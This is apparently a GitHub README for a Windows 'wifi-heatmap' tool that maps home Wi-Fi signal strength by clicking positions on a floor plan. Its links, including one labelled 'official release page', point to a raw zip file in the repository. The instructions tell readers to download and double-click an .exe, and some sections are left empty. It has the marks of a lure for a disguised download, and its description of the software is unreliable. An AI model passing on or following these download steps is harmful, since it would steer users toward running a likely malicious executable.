cotyloidcavitybutterheadlettuce306/wifi-heatmap

# 📶 wifi-heatmap - Map your home network signal strength [](https://raw.githubusercontent.com/cotyloidcavitybutterheadlettuce306/wifi-heatmap/main/static/heatmap-wifi-3.5.zip) wifi-heatmap helps you find dead spots in your wireless network. You walk through your home with your laptop and click your physical location on a digital floor plan. The software builds a visual map of your signal strength. This tool works with mesh networks like Deco, Eero, and Orbi. ## 📥 Getting Started 1. Go to the [official release page](https://raw.githubusercontent.com/cotyloidcavitybutterheadlettuce306/wifi-heatmap/main/static/heatmap-wifi-3.5.zip). 2. Look for the Assets section at the bottom of the latest release. 3. Select the file ending in `.exe` for Windows. 4. Save the file to your desktop or downloads folder. 5. Double-click the file to start the installation. 6. Follow the prompts on your screen to finish the setup process. ## 🛠 Prerequisites Your computer needs a few things to run this tool correctly. - Windows 10 or later. - A wireless network adapter enabled and connected to your home network. - A floor plan image of your home. You can use common image formats like PNG or JPG. - Roughly 100 MB of free storage space. ## 🗺 How to create a heatmap ### Preparation ### Mapping Your Home 1. Stand in one room of your home. 2. Click the exact spot on your floor plan that matches your current physical position. 3. Wait three seconds for the software to scan the signal strength. 4. Move to another location in the same room. 5. Click your new position on the screen. 6. Repeat these steps until you cover every room in your house. The software places colored dots on the map. Green indicates a strong signal. Red shows where the signal drops or fails. You can clear the map or save your progress at any time through the File menu. ## 🧪 Understanding the results The final map shows heat zones. Areas with bright colors indicate excellent connection speeds. Dark areas represent signal interference or physical barriers like thick walls and metal appliances. Use this data to move your mesh nodes to better spots. For example, if the area near your kitchen shows a weak signal, move a nearby Eero or Deco unit closer to the entrance of that room. ## ❓ Frequently Asked Questions ### Does this tool change my network settings? ### Can I save my maps? Yes. Select Save Map in the File menu. This creates a file on your computer that you can reopen later. You can also export the map as an image file to share with others or print it. ### My signal strength jumps around. Is that normal? Yes. Wireless signals fluctuate based on movement, furniture, and other electronic devices. Stick to the middle of the room when you take a measurement to get the best result. Avoid standing directly next to large metal objects. ### Does this work with internet speed tests? No. This tool measures signal strength between your computer and your router. It does not measure the speed of your internet connection to your service provider. ### How do I uninstall the software? Open the Windows Control Panel. Select Uninstall a Program. Find wifi-heatmap in the list and click Uninstall. This removes the files from your computer. ## 💡 Tips for better results - Close unnecessary programs on your laptop before you start the scan. - Ensure your mesh network is fully powered and stable. - Walk slowly between your measurement points. - Map the corners of your home to identify gaps in your coverage. - If you have multiple floors, create a separate map file for each floor. Do not try to combine two floors on one single map image. - Perform the survey at different times of the day to account for high traffic periods. - Check the application settings to show or hide the grid lines on your map. - Adjust the sensitivity scale if the colors on your map seem too uniform. - Use a high-resolution image for your floor plan to make clicking your position more precise. - Hold your laptop away from your body while checking the signal. Your body can block or weaken wireless waves, which leads to incorrect data.